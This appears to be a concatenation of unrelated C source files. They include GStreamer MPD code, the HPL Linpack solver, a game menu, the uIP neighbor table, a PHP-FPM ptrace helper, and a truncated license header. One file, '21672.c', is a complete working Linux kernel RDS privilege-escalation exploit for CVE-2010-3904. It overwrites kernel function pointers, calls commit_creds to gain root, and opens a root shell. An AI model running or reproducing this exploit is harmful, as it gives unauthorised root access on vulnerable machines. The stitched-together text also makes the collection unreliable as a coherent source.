break; case PROP_MPD_ROOT_PUBLISH_TIME: if (self->publishTime) gst_date_time_unref (self->publishTime); self->publishTime = g_value_get_boxed (value); break; case PROP_MPD_ROOT_MEDIA_PRESENTATION_DURATION: self->mediaPresentationDuration = g_value_get_uint64 (value); break; case PROP_MPD_ROOT_MINIMUM_UPDATE_PERIOD: self->minimumUpdatePeriod = g_value_get_uint64 (value); break; case PROP_MPD_ROOT_MIN_BUFFER_TIME: self->minBufferTime = g_value_get_uint64 (value); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } } static void gst_mpd_root_node_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec) { GstMPDRootNode *self = GST_MPD_ROOT_NODE (object); switch (prop_id) { case PROP_MPD_ROOT_DEFAULT_NAMESPACE: g_value_set_string (value, self->default_namespace); break; case PROP_MPD_ROOT_NAMESPACE_XSI: g_value_set_string (value, self->namespace_xsi); break; case PROP_MPD_ROOT_NAMESPACE_EXT: g_value_set_string (value, self->namespace_ext); break; case PROP_MPD_ROOT_SCHEMA_LOCATION: g_value_set_string (value, self->schemaLocation); break; case PROP_MPD_ROOT_ID: g_value_set_string (value, self->id); break; case PROP_MPD_ROOT_PROFILES: g_value_set_string (value, self->profiles); break; case PROP_MPD_ROOT_TYPE: g_value_set_int (value, self->type); break; case PROP_MPD_ROOT_AVAILABILTY_START_TIME: g_value_set_boxed (value, self->availabilityStartTime); break; case PROP_MPD_ROOT_AVAILABILTY_END_TIME: g_value_set_boxed (value, self->availabilityEndTime); break; case PROP_MPD_ROOT_PUBLISH_TIME: g_value_set_boxed (value, self->publishTime); break; case PROP_MPD_ROOT_MEDIA_PRESENTATION_DURATION: g_value_set_uint64 (value, self->mediaPresentationDuration); break; case PROP_MPD_ROOT_MINIMUM_UPDATE_PERIOD: g_value_set_uint64 (value, self->minimumUpdatePeriod); break; case PROP_MPD_ROOT_MIN_BUFFER_TIME: g_value_set_uint64 (value, self->minBufferTime); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } } static void gst_mpd_root_node_finalize (GObject * object) { GstMPDRootNode *self = GST_MPD_ROOT_NODE (object); g_free (self->default_namespace); g_free (self->namespace_xsi); g_free (self->namespace_ext); g_free (self->schemaLocation); g_free (self->id); g_free (self->profiles); if (self->availabilityStartTime) gst_date_time_unref (self->availabilityStartTime); if (self->availabilityEndTime) gst_date_time_unref (self->availabilityEndTime); if (self->publishTime) gst_date_time_unref (self->publishTime); g_list_free_full (self->ProgramInfos, (GDestroyNotify) gst_mpd_program_information_node_free); g_list_free_full (self->BaseURLs, (GDestroyNotify) gst_mpd_baseurl_node_free); g_list_free_full (self->Locations, (GDestroyNotify) gst_mpd_location_node_free); g_list_free_full (self->Periods, (GDestroyNotify) gst_mpd_period_node_free); g_list_free_full (self->Metrics, (GDestroyNotify) gst_mpd_metrics_node_free); g_list_free_full (self->UTCTimings, (GDestroyNotify) gst_mpd_utctiming_node_free); G_OBJECT_CLASS (gst_mpd_root_node_parent_class)->finalize (object); } /* Base class */ static xmlNodePtr gst_mpd_root_get_xml_node (GstMPDNode * node) { xmlNodePtr root_xml_node; GstMPDRootNode *self = GST_MPD_ROOT_NODE (node); root_xml_node = xmlNewNode (NULL, (xmlChar *) "MPD"); gst_xml_helper_set_prop_string (root_xml_node, "xmlns", self->default_namespace); gst_xml_helper_set_prop_string (root_xml_node, "profiles", self->profiles); gst_xml_helper_set_prop_string (root_xml_node, "schemaLocation", self->schemaLocation); gst_xml_helper_set_prop_string (root_xml_node, "xmlns:xsi", self->namespace_xsi); gst_xml_helper_set_prop_string (root_xml_node, "xmlns:ext", self->namespace_ext); gst_xml_helper_set_prop_string (root_xml_node, "id", self->id); if (self->type == GST_MPD_FILE_TYPE_STATIC) gst_xml_helper_set_prop_string (root_xml_node, "type", (gchar *) "static"); else gst_xml_helper_set_prop_string (root_xml_node, "type", (gchar *) "dynamic"); gst_xml_helper_set_prop_date_time (root_xml_node, "availabilityStartTime", self->availabilityStartTime); gst_xml_helper_set_prop_date_time (root_xml_node, "availabilityEndTime", self->availabilityEndTime); gst_xml_helper_set_prop_date_time (root_xml_node, "publishTime", self->publishTime); if (self->mediaPresentationDuration) gst_xml_helper_set_prop_duration (root_xml_node, "mediaPresentationDuration", self->mediaPresentationDuration); if (self->minimumUpdatePeriod) gst_xml_helper_set_prop_duration (root_xml_node, "minimumUpdatePeriod", self->minimumUpdatePeriod); if (self->minBufferTime) gst_xml_helper_set_prop_duration (root_xml_node, "minBufferTime", self->minBufferTime); if (self->timeShiftBufferDepth) gst_xml_helper_set_prop_duration (root_xml_node, "timeShiftBufferDepth", self->timeShiftBufferDepth); if (self->suggestedPresentationDelay) gst_xml_helper_set_prop_duration (root_xml_node, "suggestedPresentationDelay", self->suggestedPresentationDelay); if (self->maxSegmentDuration) gst_xml_helper_set_prop_duration (root_xml_node, "maxSegmentDuration", self->maxSegmentDuration); if (self->maxSubsegmentDuration) gst_xml_helper_set_prop_duration (root_xml_node, "maxSubsegmentDuration", self->maxSubsegmentDuration); g_list_foreach (self->BaseURLs, gst_mpd_node_get_list_item, root_xml_node); g_list_foreach (self->Locations, gst_mpd_node_get_list_item, root_xml_node); g_list_foreach (self->ProgramInfos, gst_mpd_node_get_list_item, root_xml_node); g_list_foreach (self->Periods, gst_mpd_node_get_list_item, root_xml_node); g_list_foreach (self->Metrics, gst_mpd_node_get_list_item, root_xml_node); g_list_foreach (self->UTCTimings, gst_mpd_node_get_list_item, root_xml_node); return root_xml_node; } static gboolean gst_mpd_root_get_xml_buffer (GstMPDNode * node, gchar ** doc_content, gint * doc_size) { xmlDocPtr doc; xmlNodePtr root_xml_node; xmlChar *xmlbody; doc = xmlNewDoc ((xmlChar *) "1.0"); root_xml_node = gst_mpd_root_get_xml_node (node); xmlDocSetRootElement (doc, root_xml_node); xmlDocDumpMemory (doc, &xmlbody, doc_size); *doc_content = g_strndup ((gchar *) xmlbody, *doc_size); xmlFree (xmlbody); xmlFreeDoc (doc); return TRUE; } static void gst_mpd_root_node_class_init (GstMPDRootNodeClass * klass) { GObjectClass *object_class; GstMPDNodeClass *m_klass; object_class = G_OBJECT_CLASS (klass); m_klass = GST_MPD_NODE_CLASS (klass); object_class->finalize = gst_mpd_root_node_finalize; object_class->set_property = gst_mpd_root_node_set_property; object_class->get_property = gst_mpd_root_node_get_property; m_klass->get_xml_buffer = gst_mpd_root_get_xml_buffer; m_klass->get_xml_node = gst_mpd_root_get_xml_node; g_object_class_install_property (object_class, PROP_MPD_ROOT_DEFAULT_NAMESPACE, g_param_spec_string ("default-namespace", "default namespace", "default namespace", NULL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_NAMESPACE_XSI, g_param_spec_string ("namespace-xsi", "namespace xsi", "namespace xsi", NULL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_NAMESPACE_EXT, g_param_spec_string ("namespace-ext", "namespace ext", "namespace ext", NULL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_SCHEMA_LOCATION, g_param_spec_string ("schema-location", "schema location", "schema location for period", NULL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_ID, g_param_spec_string ("id", "id", "unique id for period", NULL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_PROFILES, g_param_spec_string ("profiles", "profiles", "profiles", NULL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_TYPE, g_param_spec_int ("type", "MPD type", "MPD type", GST_MPD_FILE_TYPE_STATIC, GST_MPD_FILE_TYPE_DYNAMIC, GST_MPD_FILE_TYPE_STATIC, (GParamFlags) (G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS))); g_object_class_install_property (object_class, PROP_MPD_ROOT_AVAILABILTY_START_TIME, g_param_spec_boxed ("availability-start-time", "Availability start time", "MPD availability start time", GST_TYPE_DATE_TIME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_AVAILABILTY_END_TIME, g_param_spec_boxed ("availability-end-time", "Availability end time", "MPD availability end time", GST_TYPE_DATE_TIME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_PUBLISH_TIME, g_param_spec_boxed ("publish-time", "publish time", "MPD publish time", GST_TYPE_DATE_TIME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_MEDIA_PRESENTATION_DURATION, g_param_spec_uint64 ("media-presentation-duration", "media presentation duration", "media presentation duration", 0, G_MAXUINT64, 0, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_MINIMUM_UPDATE_PERIOD, g_param_spec_uint64 ("minimum-update-period", "minimum update period", "minimum update period", 0, G_MAXUINT64, 0, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (object_class, PROP_MPD_ROOT_MIN_BUFFER_TIME, g_param_spec_uint64 ("min-buffer-time", "mininim buffer time", "mininim buffer time", 0, G_MAXUINT64, 0, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); } static void gst_mpd_root_node_init (GstMPDRootNode * self) { self->default_namespace = NULL; self->namespace_xsi = NULL; self->namespace_ext = NULL; self->schemaLocation = NULL; self->id = NULL; self->profiles = NULL; self->type = GST_MPD_FILE_TYPE_STATIC; self->availabilityStartTime = NULL; self->availabilityEndTime = NULL; self->publishTime = NULL; self->mediaPresentationDuration = 0; /* [ms] */ self->minimumUpdatePeriod = 0; /* [ms] */ self->minBufferTime = 2000; /* [ms] */ self->timeShiftBufferDepth = 0; /* [ms] */ self->suggestedPresentationDelay = 0; /* [ms] */ self->maxSegmentDuration = 0; /* [ms] */ self->maxSubsegmentDuration = 0; /* [ms] */ /* list of BaseURL nodes */ self->BaseURLs = NULL; /* list of Location nodes */ self->Locations = NULL; /* List of ProgramInformation nodes */ self->ProgramInfos = NULL; /* list of Periods nodes */ self->Periods = NULL; /* list of Metrics nodes */ self->Metrics = NULL; /* list of GstUTCTimingNode nodes */ self->UTCTimings = NULL; } GstMPDRootNode * gst_mpd_root_node_new (void) { return g_object_new (GST_TYPE_MPD_ROOT_NODE, NULL); } void gst_mpd_root_node_free (GstMPDRootNode * self) { if (self) gst_object_unref (self); }
912143.c
/* * -- High Performance Computing Linpack Benchmark (HPL) * HPL - 2.0 - September 10, 2008 * Antoine P. Petitet * University of Tennessee, Knoxville * Innovative Computing Laboratory * (C) Copyright 2000-2008 All Rights Reserved * * -- Copyright notice and Licensing terms: * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions, and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgement: * This product includes software developed at the University of * Tennessee, Knoxville, Innovative Computing Laboratory. * * 4. The name of the University, the name of the Laboratory, or the * names of its contributors may not be used to endorse or promote * products derived from this software without specific written * permission. * * -- Disclaimer: * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * --------------------------------------------------------------------- */ /* * Include files */ #include "hpl.h" #ifdef HPL_STDC_HEADERS void HPL_pdgesv ( HPL_T_grid * GRID, HPL_T_palg * ALGO, HPL_T_pmat * A ) #else void HPL_pdgesv ( GRID, ALGO, A ) HPL_T_grid * GRID; HPL_T_palg * ALGO; HPL_T_pmat * A; #endif { /* * Purpose * ======= * * HPL_pdgesv factors a N+1-by-N matrix using LU factorization with row * partial pivoting. The main algorithm is the "right looking" variant * with or without look-ahead. The lower triangular factor is left * unpivoted and the pivots are not returned. The right hand side is the * N+1 column of the coefficient matrix. * * Arguments * ========= * * GRID (local input) HPL_T_grid * * On entry, GRID points to the data structure containing the * process grid information. * * ALGO (global input) HPL_T_palg * * On entry, ALGO points to the data structure containing the * algorithmic parameters. * * A (local input/output) HPL_T_pmat * * On entry, A points to the data structure containing the local * array information. * * --------------------------------------------------------------------- */ /* .. * .. Executable Statements .. */ if( A->n <= 0 ) return; A->info = 0; if( ( ALGO->depth == 0 ) || ( GRID->npcol == 1 ) ) { HPL_pdgesv0( GRID, ALGO, A ); } else { HPL_pdgesvK2( GRID, ALGO, A ); } /* * Solve upper triangular system */ if( A->info == 0 ) HPL_pdtrsv( GRID, A ); /* * End of HPL_pdgesv */ }
167820.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* levels_menu_p7.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: kguibout <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/07/13 11:18:58 by kguibout #+# #+# */ /* Updated: 2020/07/13 11:18:59 by kguibout ### ########.fr */ /* */ /* ************************************************************************** */ #include "levels_menu_internal.h" static void move_index(t_levels_menu *level_menu, size_t size) { if (*level_menu->levels_selection->current_map_index == size - 1 || level_menu->levels_selection->selected_index < *level_menu->levels_selection->current_map_index) (*level_menu->levels_selection->current_map_index)--; if (level_menu->levels_selection->selected_index == size - 1) level_menu->levels_selection->selected_index--; } static bool delete_levels(void *param) { t_levels_menu *level_menu; t_doom_map *map; size_t size; bool current; level_menu = param; current = false; size = level_menu->levels_selection->levels->total; if (size == 1) return (true); if (*level_menu->levels_selection->current_map_index == level_menu->levels_selection->selected_index) current = true; map = *(t_doom_map **)vector_get(level_menu->levels_selection->levels, level_menu->levels_selection->selected_index); vector_delete(level_menu->levels_selection->levels, level_menu->levels_selection->selected_index); free_map(map); move_index(level_menu, size); level_menu->levels_selection->component.need_redraw = true; if (current) load_levels(level_menu); return (true); } bool create_delete_level_button(t_levels_menu *levels_menu, t_env *env) { if (!(levels_menu->delete_map_button = create_button((SDL_Rect){335, 550, 110, 30}, 0x777777FF, env->fonts.deja_vu_sans_momo_16))) return (destroy_level_menu(levels_menu)); button_change_name(levels_menu->delete_map_button, "Delete map"); if (!add_default_action(levels_menu->delete_map_button-> on_click, &(t_default_event){&delete_levels, levels_menu})) return (destroy_level_menu(levels_menu)); if (!container_add(levels_menu->container, levels_menu->delete_map_button)) return (destroy_level_menu(levels_menu)); return (true); }
731316.c
/* make the pointers among new edges on the new hyperplane */ #include "arith.h" face(linetab,mi,m,r,n) LINE linetab[MAXEDGE]; int mi,m,r,n; { register int i,j,k,l,count; register unsigned int planework; /* check all combination of two new edges on hyperplane(i) */ for(i=mi; i<m; i++){ l=1; for(j=mi; j<m; j++){ if(i != j){ planework= linetab[i].plane & linetab[j].plane; count=0; for(k=0; k<n; k++){ if((planework & (1<<k)) != 0) count += 1; } /* when (r-2) hyperplanes are common, make face pointer */ if(count == (r-2)){ linetab[i].face[l]=j; l += 1; } } } /* make a mark indicating there is no futher face pointer */ linetab[i].face[l]=EMPTY; } }
716450.c
/* * Copyright (c) 2006, Swedish Institute of Computer Science. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the Institute nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * This file is part of the uIP TCP/IP stack * * $Id: uip-neighbor.c,v 1.2 2006/06/12 08:00:30 adam Exp $ */ /** * \file * Database of link-local neighbors, used by IPv6 code and * to be used by a future ARP code rewrite. * \author * Adam Dunkels <[email protected]> */ #include "uip-neighbor.h" #include <string.h> #define MAX_TIME 128 #ifdef UIP_NEIGHBOR_CONF_ENTRIES #define ENTRIES UIP_NEIGHBOR_CONF_ENTRIES #else /* UIP_NEIGHBOR_CONF_ENTRIES */ #define ENTRIES 8 #endif /* UIP_NEIGHBOR_CONF_ENTRIES */ struct neighbor_entry { uip_ipaddr_t ipaddr; struct uip_neighbor_addr addr; u8_t time; }; static struct neighbor_entry entries[ENTRIES]; /*---------------------------------------------------------------------------*/ void uip_neighbor_init(void) { int i; for(i = 0; i < ENTRIES; ++i) { entries[i].time = MAX_TIME; } } /*---------------------------------------------------------------------------*/ void uip_neighbor_periodic(void) { int i; for(i = 0; i < ENTRIES; ++i) { if(entries[i].time < MAX_TIME) { entries[i].time++; } } } /*---------------------------------------------------------------------------*/ void uip_neighbor_add(uip_ipaddr_t ipaddr, struct uip_neighbor_addr *addr) { int i, oldest; u8_t oldest_time; printf("Adding neighbor with link address %02x:%02x:%02x:%02x:%02x:%02x\n", addr->addr.addr[0], addr->addr.addr[1], addr->addr.addr[2], addr->addr.addr[3], addr->addr.addr[4], addr->addr.addr[5]); /* Find the first unused entry or the oldest used entry. */ oldest_time = 0; oldest = 0; for(i = 0; i < ENTRIES; ++i) { if(entries[i].time == MAX_TIME) { oldest = i; break; } if(uip_ipaddr_cmp(entries[i].ipaddr, addr)) { oldest = i; break; } if(entries[i].time > oldest_time) { oldest = i; oldest_time = entries[i].time; } } /* Use the oldest or first free entry (either pointed to by the "oldest" variable). */ entries[oldest].time = 0; uip_ipaddr_copy(entries[oldest].ipaddr, ipaddr); memcpy(&entries[oldest].addr, addr, sizeof(struct uip_neighbor_addr)); } /*---------------------------------------------------------------------------*/ static struct neighbor_entry * find_entry(uip_ipaddr_t ipaddr) { int i; for(i = 0; i < ENTRIES; ++i) { if(uip_ipaddr_cmp(entries[i].ipaddr, ipaddr)) { return &entries[i]; } } return NULL; } /*---------------------------------------------------------------------------*/ void uip_neighbor_update(uip_ipaddr_t ipaddr) { struct neighbor_entry *e; e = find_entry(ipaddr); if(e != NULL) { e->time = 0; } } /*---------------------------------------------------------------------------*/ struct uip_neighbor_addr * uip_neighbor_lookup(uip_ipaddr_t ipaddr) { struct neighbor_entry *e; e = find_entry(ipaddr); if(e != NULL) { /* printf("Lookup neighbor with link address %02x:%02x:%02x:%02x:%02x:%02x\n", e->addr.addr.addr[0], e->addr.addr.addr[1], e->addr.addr.addr[2], e->addr.addr.addr[3], e->addr.addr.addr[4], e->addr.addr.addr[5]);*/ return &e->addr; } return NULL; } /*---------------------------------------------------------------------------*/
21672.c
/* * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit * CVE-2010-3904 * by Dan Rosenberg <[email protected]> * * Copyright 2010 Virtual Security Research, LLC * * The handling functions for sending and receiving RDS messages * use unchecked __copy_*_user_inatomic functions without any * access checks on user-provided pointers. As a result, by * passing a kernel address as an iovec base address in recvmsg-style * calls, a local user can overwrite arbitrary kernel memory, which * can easily be used to escalate privileges to root. Alternatively, * an arbitrary kernel read can be performed via sendmsg calls. * * This exploit is simple - it resolves a few kernel symbols, * sets the security_ops to the default structure, then overwrites * a function pointer (ptrace_traceme) in that structure to point * to the payload. After triggering the payload, the original * value is restored. Hard-coding the offset of this function * pointer is a bit inelegant, but I wanted to keep it simple and * architecture-independent (i.e. no inline assembly). * * The vulnerability is yet another example of why you shouldn't * allow loading of random packet families unless you actually * need them. * * Greets to spender, kees, taviso, hawkes, team lollerskaters, * joberheide, bla, sts, and VSR * */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <string.h> #include <sys/ptrace.h> #include <sys/utsname.h> #define RECVPORT 5555 #define SENDPORT 6666 int prep_sock(int port) { int s, ret; struct sockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf("[*] Could not open socket.\n"); exit(-1); } memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_family = AF_INET; addr.sin_port = htons(port); ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); if(ret < 0) { printf("[*] Could not bind socket.\n"); exit(-1); } return s; } void get_message(unsigned long address, int sock) { recvfrom(sock, (void *)address, sizeof(void *), 0, NULL, NULL); } void send_message(unsigned long value, int sock) { int size, ret; struct sockaddr_in recvaddr; struct msghdr msg; struct iovec iov; unsigned long buf; memset(&recvaddr, 0, sizeof(recvaddr)); size = sizeof(recvaddr); recvaddr.sin_port = htons(RECVPORT); recvaddr.sin_family = AF_INET; recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(&msg, 0, sizeof(msg)); msg.msg_name = &recvaddr; msg.msg_namelen = sizeof(recvaddr); msg.msg_iovlen = 1; buf = value; iov.iov_len = sizeof(buf); iov.iov_base = &buf; msg.msg_iov = &iov; ret = sendmsg(sock, &msg, 0); if(ret < 0) { printf("[*] Something went wrong sending.\n"); exit(-1); } } void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) { if(!fork()) { sleep(1); send_message(value, sendsock); exit(1); } else { get_message(addr, recvsock); wait(NULL); } } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: /* didn't find the symbol, let's retry with the System.map dedicated to the pointlessness of Russell Coker's SELinux test machine (why does he keep upgrading the kernel if "all necessary security can be provided by SE Linux"?) */ uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char * argv[]) { unsigned long sec_ops, def_ops, cap_ptrace, target; int sendsock, recvsock; struct utsname ver; printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); printf("[*] by Dan Rosenberg\n"); uname(&ver); if(strncmp(ver.release, "2.6.3", 5)) { printf("[*] Your kernel is not vulnerable.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); sec_ops = get_kernel_sym("security_ops"); def_ops = get_kernel_sym("default_security_ops"); cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Calculate target */ target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /* Reset security ops */ printf("[*] Overwriting security ops...\n"); write_to_mem(sec_ops, def_ops, sendsock, recvsock); /* Overwrite ptrace_traceme security op fptr */ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /* Trigger the payload */ printf("[*] Triggering payload...\n"); ptrace(PTRACE_TRACEME, 1, NULL, NULL); /* Restore the ptrace_traceme security op */ printf("[*] Restoring function pointer...\n"); write_to_mem(target, cap_ptrace, sendsock, recvsock); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); }
556602.c
/* $Id: fpm_trace_ptrace.c,v 1.7 2008/09/18 23:34:11 anight Exp $ */ /* (c) 2007,2008 Andrei Nigmatulin */ #include "fpm_config.h" #include <sys/wait.h> #include <sys/ptrace.h> #include <unistd.h> #include <errno.h> #if defined(PT_ATTACH) && !defined(PTRACE_ATTACH) #define PTRACE_ATTACH PT_ATTACH #endif #if defined(PT_DETACH) && !defined(PTRACE_DETACH) #define PTRACE_DETACH PT_DETACH #endif #if defined(PT_READ_D) && !defined(PTRACE_PEEKDATA) #define PTRACE_PEEKDATA PT_READ_D #endif #include "fpm_trace.h" #include "zlog.h" static pid_t traced_pid; int fpm_trace_signal(pid_t pid) { if (0 > ptrace(PTRACE_ATTACH, pid, 0, 0)) { zlog(ZLOG_STUFF, ZLOG_SYSERROR, "ptrace(ATTACH) failed"); return -1; } return 0; } int fpm_trace_ready(pid_t pid) { traced_pid = pid; return 0; } int fpm_trace_close(pid_t pid) { if (0 > ptrace(PTRACE_DETACH, pid, (void *) 1, 0)) { zlog(ZLOG_STUFF, ZLOG_SYSERROR, "ptrace(DETACH) failed"); return -1; } traced_pid = 0; return 0; } int fpm_trace_get_long(long addr, long *data) { #ifdef PT_IO struct ptrace_io_desc ptio = { .piod_op = PIOD_READ_D, .piod_offs = (void *) addr, .piod_addr = (void *) data, .piod_len = sizeof(long) }; if (0 > ptrace(PT_IO, traced_pid, (void *) &ptio, 0)) { zlog(ZLOG_STUFF, ZLOG_SYSERROR, "ptrace(PT_IO) failed"); return -1; } #else errno = 0; *data = ptrace(PTRACE_PEEKDATA, traced_pid, (void *) addr, 0); if (errno) { zlog(ZLOG_STUFF, ZLOG_SYSERROR, "ptrace(PEEKDATA) failed"); return -1; } #endif return 0; }
259109.c
/* _____ __ _____________ _______ ______ ___________ / \| | \____ \__ \\_ __ \/ ___// __ \_ __ \ | Y Y \ | / |_> > __ \| | \/\___ \\ ___/| | \/ |__|_| /____/| __(____ /__| /____ >\___ >__| \/ |__| \/ \/ \/ Copyright (C) 2004 - 2021 Ingo Berg Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 